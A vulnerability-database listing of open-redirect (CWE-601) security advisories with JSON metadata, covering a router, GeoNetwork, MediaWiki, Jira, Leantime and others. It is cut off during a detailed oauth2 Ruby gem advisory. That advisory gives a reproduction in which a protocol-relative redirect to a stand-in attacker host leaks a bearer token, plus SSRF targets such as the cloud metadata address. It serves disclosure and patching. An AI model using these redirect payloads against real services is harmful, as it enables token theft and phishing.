Common Weakness Enumeration

CWE-601

Allowed

URL Redirection to Untrusted Site ('Open Redirect')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

2575 vulnerabilities reference this CWE, most recent first.

GHSA-PJJC-VR35-3299

Vulnerability from github – Published: 2026-09-24 06:31 – Updated: 2026-09-24 06:31
VLAI
Details

A flaw has been found in Edimax BR-6428nC 1.16. The impacted element is the function websRedirect of the component goform Handler. Executing a manipulation of the argument submit-url can lead to open redirect. The attack may be launched remotely. The exploit has been published and may be used. Multiple endpoints are affected. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-96892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T04:18:04Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in Edimax BR-6428nC 1.16. The impacted element is the function websRedirect of the component goform Handler. Executing a manipulation of the argument submit-url can lead to open redirect. The attack may be launched remotely. The exploit has been published and may be used. Multiple endpoints are affected. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-pjjc-vr35-3299",
  "modified": "2026-09-24T06:31:14Z",
  "published": "2026-09-24T06:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96892"
    },
    {
      "type": "WEB",
      "url": "https://tzh00203.notion.site/Edimax-BR-6428nC-Open-Redirect-via-submit-url-33db5c52018a808a8c34c1cb68db7aab"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-96892"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/906338"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/409175"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/409175/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PJP7-Q6WP-97QX

Vulnerability from github – Published: 2026-07-31 22:16 – Updated: 2026-07-31 22:16
VLAI
Summary
core-geonetwork has an Open Redirect Bypass
Details

Summary

GeoNetwork's post-login redirect handling can be bypassed to redirect users to an attacker-controlled external site, even though the code attempts to restrict redirect targets to relative, in-application URLs. This affects both supported SSO login methods: OAuth2/OIDC and Keycloak.

Details

Both the OAuth2/OIDC and Keycloak login filters validate the client-supplied post-login redirect target before forwarding the browser to it, but the validation does not correctly reject every kind of URL that causes the browser to leave the GeoNetwork origin. As a result, a value that is treated as a safe, in-application relative path by the filter can still cause the browser to be redirected to an external, attacker-controlled host.

Impact

An attacker can craft a link to a legitimate GeoNetwork OAuth2/OIDC or Keycloak login endpoint that, after the login flow completes, redirects the victim to an arbitrary external site. This can be used for phishing (e.g., presenting a fake login form) or to chain into other attacks hosted externally. This does not bypass authentication or expose GeoNetwork data directly; the impact is Open Redirect (CWE-601).

GeoNetwork 3.x and 4.0.x are archived/unmaintained and will not receive a fix for this issue. Instances running those lines should upgrade to a supported release (4.2.16 or later, or 4.4.11 or later).

Severity
0.0 (None)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
4.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:geonetwork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.12.0"
            },
            {
              "last_affected": "3.12.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:geonetwork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha.1"
            },
            {
              "last_affected": "4.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.15"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:geonetwork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.10"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:geonetwork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4.0"
            },
            {
              "fixed": "4.4.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T22:16:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nGeoNetwork\u0027s post-login redirect handling can be bypassed to redirect users to an attacker-controlled external site, even though the code attempts to restrict redirect targets to relative, in-application URLs. This affects both supported SSO login methods: OAuth2/OIDC and Keycloak.\n\n### Details\nBoth the OAuth2/OIDC and Keycloak login filters validate the client-supplied post-login redirect target before forwarding the browser to it, but the validation does not correctly reject every kind of URL that causes the browser to leave the GeoNetwork origin. As a result, a value that is treated as a safe, in-application relative path by the filter can still cause the browser to be redirected to an external, attacker-controlled host.\n\n### Impact\nAn attacker can craft a link to a legitimate GeoNetwork OAuth2/OIDC or Keycloak login endpoint that, after the login flow completes, redirects the victim to an arbitrary external site. This can be used for phishing (e.g., presenting a fake login form) or to chain into other attacks hosted externally. This does not bypass authentication or expose GeoNetwork data directly; the impact is Open Redirect (CWE-601).\n\nGeoNetwork 3.x and 4.0.x are archived/unmaintained and will not receive a fix for this issue. Instances running those lines should upgrade to a supported release (4.2.16 or later, or 4.4.11 or later).",
  "id": "GHSA-pjp7-q6wp-97qx",
  "modified": "2026-07-31T22:16:34Z",
  "published": "2026-07-31T22:16:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-pjp7-q6wp-97qx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/pull/9307"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/pull/9309"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/commit/0d74f673dfc926bde935819ed34636d789b2fecd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/commit/cde9b6481a29e2473b7b74479b4e3fd6843bac4e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geonetwork/core-geonetwork"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "core-geonetwork has an Open Redirect Bypass"
}

GHSA-PJV5-VV93-P648

Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2024-05-15 22:50
VLAI
Summary
Possible to circumvent title-blacklist
Details

MediaWiki through 1.33.1 allows attackers to bypass the Title_blacklist protection mechanism by starting with an arbitrary title, establishing a non-resolvable redirect for the associated page, and using redirect=1 in the action API when editing that page.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.31.0"
            },
            {
              "fixed": "1.31.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.32.0"
            },
            {
              "fixed": "1.32.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.33.0"
            },
            {
              "fixed": "1.33.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.33.99"
            },
            {
              "fixed": "1.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-19709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-15T22:50:39Z",
    "nvd_published_at": "2019-12-11T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "MediaWiki through 1.33.1 allows attackers to bypass the Title_blacklist protection mechanism by starting with an arbitrary title, establishing a non-resolvable redirect for the associated page, and using redirect=1 in the action API when editing that page.",
  "id": "GHSA-pjv5-vv93-p648",
  "modified": "2024-05-15T22:50:39Z",
  "published": "2022-05-24T17:03:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19709"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/q/Ie54f366986056c876eade0fcad6c41f70b8b8de8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/mediawiki/core/CVE-2019-19709.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wikimedia/mediawiki"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T239466"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Dec/48"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4592"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible to circumvent title-blacklist"
}

GHSA-PJWQ-VQFJ-R3HH

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14
VLAI
Details

On version 14.1.x before 14.1.4.4 and all versions of 13.1.x, an open redirect vulnerability exists on virtual servers enabled with a BIG-IP APM access policy. This vulnerability allows an unauthenticated malicious user to build an open redirect URI. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-23052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-14T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "On version 14.1.x before 14.1.4.4 and all versions of 13.1.x, an open redirect vulnerability exists on virtual servers enabled with a BIG-IP APM access policy. This vulnerability allows an unauthenticated malicious user to build an open redirect URI. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-pjwq-vqfj-r3hh",
  "modified": "2022-05-24T19:14:26Z",
  "published": "2022-05-24T19:14:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23052"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K32734107"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PJX9-WH57-J26P

Vulnerability from github – Published: 2026-07-30 18:31 – Updated: 2026-07-30 18:31
VLAI
Details

Leantime 3.6.2 contains an open redirect vulnerability in the Login controller that allows unauthenticated attackers to redirect authenticated users to arbitrary external sites by manipulating the redirectUrl POST parameter. Attackers can craft a malicious login URL with a tampered redirectUrl value that bypasses FILTER_SANITIZE_URL validation to redirect victims to attacker-controlled sites for phishing or credential theft.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "Leantime 3.6.2 contains an open redirect vulnerability in the Login controller that allows unauthenticated attackers to redirect authenticated users to arbitrary external sites by manipulating the redirectUrl POST parameter. Attackers can craft a malicious login URL with a tampered redirectUrl value that bypasses FILTER_SANITIZE_URL validation to redirect victims to attacker-controlled sites for phishing or credential theft.",
  "id": "GHSA-pjx9-wh57-j26p",
  "modified": "2026-07-30T18:31:41Z",
  "published": "2026-07-30T18:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/javokhir-sec/CVE-PoC-Hub/security/advisories/GHSA-wprg-q8m6-jhp9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66414"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Leantime/leantime/pull/3658"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Leantime/leantime"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/leantime-open-redirect-in-login-controller-via-redirecturl-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PJXP-R4HQ-WH9R

Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03
VLAI
Details

The XsrfErrorAction resource in Atlassian Jira before version 7.6.9, from version 7.7.0 before version 7.7.5, from version 7.8.0 before version 7.8.5, from version 7.9.0 before version 7.9.3, from version 7.10.0 before version 7.10.3, from version 7.11.0 before version 7.11.3, from version 7.12.0 before version 7.12.3, and before version 7.13.1 allows remote attackers to obtain a user's Cross-site request forgery (CSRF) token through an open redirect vulnerability.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-13401"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-23T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The XsrfErrorAction resource in Atlassian Jira before version 7.6.9, from version 7.7.0 before version 7.7.5, from version 7.8.0 before version 7.8.5, from version 7.9.0 before version 7.9.3, from version 7.10.0 before version 7.10.3, from version 7.11.0 before version 7.11.3, from version 7.12.0 before version 7.12.3, and before version 7.13.1 allows remote attackers to obtain a user\u0027s Cross-site request forgery (CSRF) token through an open redirect vulnerability.",
  "id": "GHSA-pjxp-r4hq-wh9r",
  "modified": "2022-05-13T01:03:05Z",
  "published": "2022-05-13T01:03:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13401"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-68139"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105751"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM4W-235C-HM33

Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32
VLAI
Details

IBM WebSphere Portal 7.0, 8.0, 8.5, and 9.0 could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim. IBM X-Force ID: 147906.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-27T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Portal 7.0, 8.0, 8.5, and 9.0 could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim. IBM X-Force ID: 147906.",
  "id": "GHSA-pm4w-235c-hm33",
  "modified": "2022-05-13T01:32:54Z",
  "published": "2022-05-13T01:32:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1736"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/147906"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/docview.wss?uid=ibm10729683"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105490"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041753"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PP92-CRG2-GFV9

Vulnerability from github – Published: 2026-07-28 16:32 – Updated: 2026-07-28 16:32
VLAI
Summary
OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host
Details

Summary

When an application uses OAuth2::Client (typically via an OAuth2::AccessToken) and the configured authorization server returns a redirect whose Location header is a protocol-relative URI of the form //attacker.example/leak, OAuth2::Client#request resolves the redirect with response.response.env.url.merge(location). Per RFC 3986 §5.2, an input that starts with // is a network-path reference and replaces the authority of the base URL: URI("http://idp.trusted/userinfo").merge("//attacker.example/leak") returns http://attacker.example/leak. The recursive request(verb, full_location, req_opts) call then re-sends the request to the attacker host while preserving the Authorization: Bearer <access-token> header that OAuth2::AccessToken#configure_authentication! installed on req_opts[:headers] for the original request.

The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the Location it emits) can extract the bearer access token of the calling user.

Affected

  • oauth2 v2.0.21 and all prior versions back to and including v0.4.0.
  • The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
  • The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in OAuth2::Client#request since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
  • Ruby 4.0.5 on arm64-darwin25. The behaviour of URI#merge for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).
  • Adapter independence: confirmed against the default faraday 2.14.2 + faraday-net_http 3.4.3 stack. The URI#merge call is in oauth2 itself, not in Faraday, so the issue is not adapter-specific.

Impact

A consumer that uses OAuth2::AccessToken#get / #post / #request against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:

  1. Cross-origin credential disclosure. The connection-scoped Authorization: Bearer <token> header attached by OAuth2::AccessToken#configure_authentication! is sent to the attacker host on the very next request, with no second user interaction.
  2. SSRF from the application server. The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (//169.254.169.254/..., //127.0.0.1:.../...) that the application server can reach but the attacker cannot.

The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no Location: http://attacker/... is needed — the protocol-relative //attacker/x form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.

Vulnerable code

lib/oauth2/client.rb#L146-L182 at commit e2d509705db6091c8d5f27c31e29c58e39e51c7c (tag v2.0.20):

def request(verb, url, req_opts = {}, &block)
  response = execute_request(verb, url, req_opts, &block)
  status = response.status

  case status
  when 301, 302, 303, 307
    req_opts[:redirect_count] ||= 0
    req_opts[:redirect_count] += 1
    return response if req_opts[:redirect_count] > options[:max_redirects]

    if status == 303
      verb = :get
      req_opts.delete(:body)
    end
    location = response.headers["location"]
    if location
      full_location = response.response.env.url.merge(location)  # <-- protocol-relative input replaces authority
      request(verb, full_location, req_opts)
    # ...

response.response.env.url is the resolved URL of the prior request (always absolute, since Faraday's build_exclusive_url produces an absolute URI). location is the raw Location response header, with no validation. URI#merge follows RFC 3986 §5.2 and treats //host/path as a network-path reference, dropping the base authority and adopting the input's host. The recursive request(verb, full_location, req_opts) then re-enters with req_opts unchanged, which means any Authorization header that OAuth2::AccessToken#configure_authentication! placed in req_opts[:headers] for the original request travels with the redirected request to the attacker-controlled host.

The credential plumbing is at lib/oauth2/access_token.rb#L376-L408:

def configure_authentication!(opts, verb)
  # ...
  case mode
  when :header
    opts[:headers] ||= {}
    opts[:headers].merge!(headers)
  # ...
end

def headers
  {"Authorization" => options[:header_format] % token}
end

The default token mode is :header, so every AccessToken#get / #post / #request call attaches Authorization: Bearer <token> to req_opts[:headers]. That same dictionary is then forwarded verbatim into the redirected request, because Client#request does not inspect or strip req_opts[:headers] when the redirect crosses origins.

Reachable in production

The vulnerable path is the documented AccessToken#get / AccessToken#post flow that every oauth2 integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to options[:max_redirects] hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative Location header is enough to redirect the next request to an attacker host with the bearer token attached.

Realistic upstream triggers:

  1. Open redirect on the IdP. Many authorization servers expose endpoints that emit Location based on user input (for example logout flows, redirect_uri echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant //attacker.example/leak as the redirect target and induce the oauth2 client to follow it.
  2. Tenant-controlled IdP. Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via OAuth2::Client.new(... , site: tenant_supplied_url) allows a malicious tenant to set site: to its own server and emit the protocol-relative Location directly.
  3. Compromised or downgraded IdP. A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.

In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.

Reproduction

The issue can be reproduced with a client using the default bearer-token header mode against an oauth2 version before 2.0.22.

Minimal setup:

require "oauth2"

client = OAuth2::Client.new(
  "client-id",
  "client-secret",
  site: "http://idp.example.test"
)

token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")

If the configured authorization/resource server responds to that request with a redirect such as:

HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0

then vulnerable versions resolve the protocol-relative Location as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because OAuth2::AccessToken uses Authorization: Bearer <token> by default, the next request is sent to the attacker-controlled host with the bearer token attached:

GET /leak HTTP/1.1
Host: attacker.example.test
Authorization: Bearer SECRET-BEARER-TOKEN

This requires no special Faraday adapter behavior. The vulnerable redirect handling is in OAuth2::Client#request; the attacker-controlled input is the raw Location header value from a 30x response.

Patched-build verification

Monkey-patch OAuth2::Client#request so that protocol-relative Location values are forced down the relative-path branch of URI#merge by prepending ./. Re-run the attack against the same poc_collector.rb instance.

module OAuth2
  class Client
    def request(verb, url, req_opts = {}, &block)
      response = execute_request(verb, url, req_opts, &block)
      status = response.status
      case status
      when 301, 302, 303, 307
        req_opts[:redirect_count] ||= 0
        req_opts[:redirect_count] += 1
        return response if req_opts[:redirect_count] > options[:max_redirects]
        verb = :get and req_opts.delete(:body) if status == 303
        location = response.headers["location"]
        if location
          # PATCH: neutralise protocol-relative location before URI#merge.
          safe_location = location.start_with?("//") ? "./#{location}" : location
          full_location = response.response.env.url.merge(safe_location)
          request(verb, full_location, req_opts)
        else
          raise(Error.new(response), "Got #{status} status code, but no Location header was present")
        end
      # ... unchanged fallthrough ...
      end
    end
  end
end

After applying the patch, the same token.get("/userinfo") call resolves the attack Location: //127.0.0.1:4568/leak to http://127.0.0.1:4567/127.0.0.1:4568/leak — same host as the IdP — and :4568 never receives the bearer token. The IdP redirect loop trips max_redirects and the helper returns status: 302 to the caller with no off-host request. Collector log after the patched run shows :4568 LEAK count unchanged from the negative control:

[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"

All hops stay on 127.0.0.1:4567. The bearer token never leaves the IdP.

Suggested fix

Treat protocol-relative Location values as relative paths when resolving against the prior request URL. The smallest local fix is the ./ prefix used in Faraday::Connection#build_exclusive_url for the same primitive (see lines 485-488 of faraday/lib/faraday/connection.rb):

location = response.headers["location"]
if location
  # Force protocol-relative inputs to be interpreted as relative paths so they
  # cannot override the base authority via RFC 3986 §5.2 network-path reference.
  safe_location = location.respond_to?(:start_with?) && location.start_with?("//") \
    ? "./#{location}" : location
  full_location = response.response.env.url.merge(safe_location)
  request(verb, full_location, req_opts)

A defence-in-depth follow-up is to also strip credential-bearing headers (Authorization, plus any custom headers configured via header_format) from req_opts[:headers] when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in lib/mechanize/http/agent.rb#L1068-L1077. That additional check protects against the orthogonal case where an attacker controls an absolute Location: http://attacker.example/... value on a same-host open-redirect endpoint.

Credit

Reported by tonghuaroot.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.21"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "2.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T16:32:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 \u00a75.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer \u003caccess-token\u003e` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via 